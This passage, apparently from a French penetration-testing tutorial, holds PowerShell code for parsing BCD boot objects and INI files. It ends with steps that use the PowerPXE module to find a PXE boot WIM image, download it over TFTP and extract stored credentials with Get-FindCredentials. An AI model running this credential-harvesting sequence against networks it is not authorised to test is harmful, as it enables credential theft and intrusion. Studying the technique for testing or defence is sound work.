'Resume')     $HasFriendlyObjectType = $False     if ($FriendlyObjectTypes -contains $WellKnownId) { $HasFriendlyObjectType = $True }     $CimMethodArgs = @{}     $CimSessionComputerName = $BCDStore.GetCimSessionComputerName()     if ($CimSessionComputerName) { $CimMethodArgs\['CimSession'\] = Get-CimSession -InstanceId $BCDStore.GetCimSessionInstanceId() }     $GetObjectsResult = $null     $BCDObjects = $null     if ($WellKnownId -eq 'Active') {         # equivalent to: bcdedit.exe /enum ACTIVE         $BootMgr = Get-BCDObject -BCDStore $BCDStore -WellKnownId BootMgr         if ($BootMgr) {             $BootMgr             $DisplayOrder = $BootMgr \| Get-BCDElement -Name DisplayOrder             if ($DisplayOrder -and ($DisplayOrder.Ids.Count)) {                 $DisplayOrder.Ids \| ForEach-Object { Get-BCDObject -BCDStore $BCDStore -Id $\_ }             }         }         return     } elseif ($WellKnownId -and !$HasFriendlyObjectType) {         $GetObjectsResult = Invoke-CimMethod -InputObject $BCDStore -MethodName OpenObject -Arguments @{ Id = $ObjectFriendlyNameMapping\[$WellKnownId\]\[0\] } @CimMethodArgs              if ($True -eq $GetObjectsResult.ReturnValue) { $BCDObjects = $GetObjectsResult.Object }     } elseif ($Id) {         $GetObjectsResult = Invoke-CimMethod -InputObject $BCDStore -MethodName OpenObject -Arguments @{ Id = "{$Id}" } @CimMethodArgs              if ($True -eq $GetObjectsResult.ReturnValue) { $BCDObjects = $GetObjectsResult.Object }     } elseif ($Type -or $HasFriendlyObjectType) {         if ($HasFriendlyObjectType) {             switch ($WellKnownId) {                 'Inherit'  { $TypeVal = 0x20000000 }                 'Firmware' { $TypeVal = 0x101FFFFF }                 'OSLoader' { $TypeVal = 0x10200003 }                 'BootApp'  { $TypeVal = 0x10200000 }                 'Resume'   { $TypeVal = 0x10200004 }             }         } else {             $TypeVal = $Type         }         # Return all BCD objects of the specified type value.         $GetObjectsResult = Invoke-CimMethod -InputObject $BCDStore -MethodName EnumerateObjects -Arguments @{ Type = $TypeVal } @CimMethodArgs         if ($True -eq $GetObjectsResult.ReturnValue) { $BCDObjects = $GetObjectsResult.Objects }     } else {         # Return all defined BCD objects.         $GetObjectsResult = Invoke-CimMethod -InputObject $BCDStore -MethodName EnumerateObjects -Arguments @{ Type = \[UInt32\] 0 } @CimMethodArgs         if ($True -eq $GetObjectsResult.ReturnValue) { $BCDObjects = $GetObjectsResult.Objects }     }     foreach ($Object in $BCDObjects) {         # Break out the components of each object type and append them to each BCDObject.         $ObjectType = $ObjectTypes\[\[Int\] (($Object.Type -band 0xF0000000) -shr 28)\]         $InheritableByValue = \[Int\] (($Object.Type -band 0x00F00000) -shr 20)         $InheritableBy = @{             1 = 'AnyObject'             2 = 'ApplicationObjects'             3 = 'DeviceObjects'         }\[$InheritableByValue\]         $ImageType = if ($ObjectType -eq 'Application') { $ImageTypes\[$InheritableByValue\] }         $ApplicationTypeValue = \[Int\] $Object.Type -band 0x000FFFFF         $ApplicationType = $null         switch ($ObjectType) {             'Inherit' { $ApplicationType = $InheritableTypes\[$ApplicationTypeValue\] }             'Application' { $ApplicationType = $ApplicationTypes\[$ApplicationTypeValue\] }         }         Add-Member -InputObject $Object -MemberType NoteProperty -Name ObjectType -Value $ObjectType         Add-Member -InputObject $Object -MemberType NoteProperty -Name InheritableBy -Value $InheritableBy         Add-Member -InputObject $Object -MemberType NoteProperty -Name ApplicationImageType -Value $ImageType         Add-Member -InputObject $Object -MemberType NoteProperty -Name ApplicationType -Value $ApplicationType         Add-Member -InputObject $Object -MemberType NoteProperty -Name Store -Value $BCDStore     }     $BCDObjects }     ##########################     ##      ## Author: Oliver Lipkau     ## Name : PsIni      ## Github : https://github.com/lipkau/PsIni      ## License: BSD 3-Clause     ##      ########################## Function Get-IniContent {       <#       .Synopsis           Gets the content of an INI file                  .Description           Gets the content of an INI file and returns it as a hashtable                  .Notes           Author        : Oliver Lipkau <oliver@lipkau.net>           Blog        : http://oliver.lipkau.net/blog/           Source        : https://github.com/lipkau/PsIni                        http://gallery.technet.microsoft.com/scriptcenter/ea40c1ef-c856-434b-b8fb-ebd7a76e8d91          Version        : 1.0 - 2010/03/12 - Initial release                         1.1 - 2014/12/11 - Typo (Thx SLDR)                                           Typo (Thx Dave Stiff)                     #Requires -Version 2.0                  .Inputs           System.String                  .Outputs           System.Collections.Hashtable                  .Parameter FilePath           Specifies the path to the input file.                  .Example           $FileContent = Get-IniContent "C:\\myinifile.ini"           -----------           Description           Saves the content of the c:\\myinifile.ini in a hashtable called $FileContent              .Example           $inifilepath \| $FileContent = Get-IniContent           -----------           Description           Gets the content of the ini file passed through the pipe into a hashtable called $FileContent              .Example           C:\\PS>$FileContent = Get-IniContent "c:\\settings.ini"           C:\\PS>$FileContent\["Section"\]\["Key"\]           -----------           Description           Returns the key "Key" of the section "Section" from the C:\\settings.ini file                  .Link           Out-IniFile       #>              \[CmdletBinding()\]       Param(           \[ValidateNotNullOrEmpty()\]           \[Parameter(ValueFromPipeline=$True,Mandatory=$True)\]           \[string\]$FilePath     )              #Begin       #    {Write-Verbose "$($MyInvocation.MyCommand.Name):: Function started"}                  Process       {           #Write-Verbose "$($MyInvocation.MyCommand.Name):: Processing file: $Filepath"                          $ini = @{}           switch -regex -file $FilePath           {               "^\\\[(.+)\\\]$" # Section               {                   $section = $matches\[1\]                   $ini\[$section\] = @{}                   $CommentCount = 0               }               "^(;.\*)$" # Comment               {                   if (!($section))                   {                       $section = "No-Section"                       $ini\[$section\] = @{}                   }                   $value = $matches\[1\]                   $CommentCount = $CommentCount + 1                   $name = "Comment" + $CommentCount                   $ini\[$section\]\[$name\] = $value               }                "(.+?)\\s\*=\\s\*(.\*)" # Key               {                   if (!($section))                   {                       $section = "No-Section"                       $ini\[$section\] = @{}                   }                   $name,$value = $matches\[1..2\]                   $ini\[$section\]\[$name\] = $value               }           }           #Write-Verbose "$($MyInvocation.MyCommand.Name):: Finished Processing file: $FilePath"           Return $ini       }                  #End       #    {Write-Verbose "$($MyInvocation.MyCommand.Name):: Function ended"}   }
On peut importer ce module : ```powershell Import-Module .\PowerPXE.ps1 $BCDFile = "conf.bcd" Get-WimFile -bcdFile $BCDFile ``` Il va vous indiquer l'emplacement de l'image **WIM** : ``` >> Parse the BCD file: conf.bcd >>>> Identify wim file : ``` On peut maintenant récupérer l'image WIM : ```powershell tftp -i GET "" pxeboot.wim ``` Et on peut chercher les identifiants de session qu'il y aurait dedans : ```powershell Get-FindCredentials -WimFile pxeboot.wim ```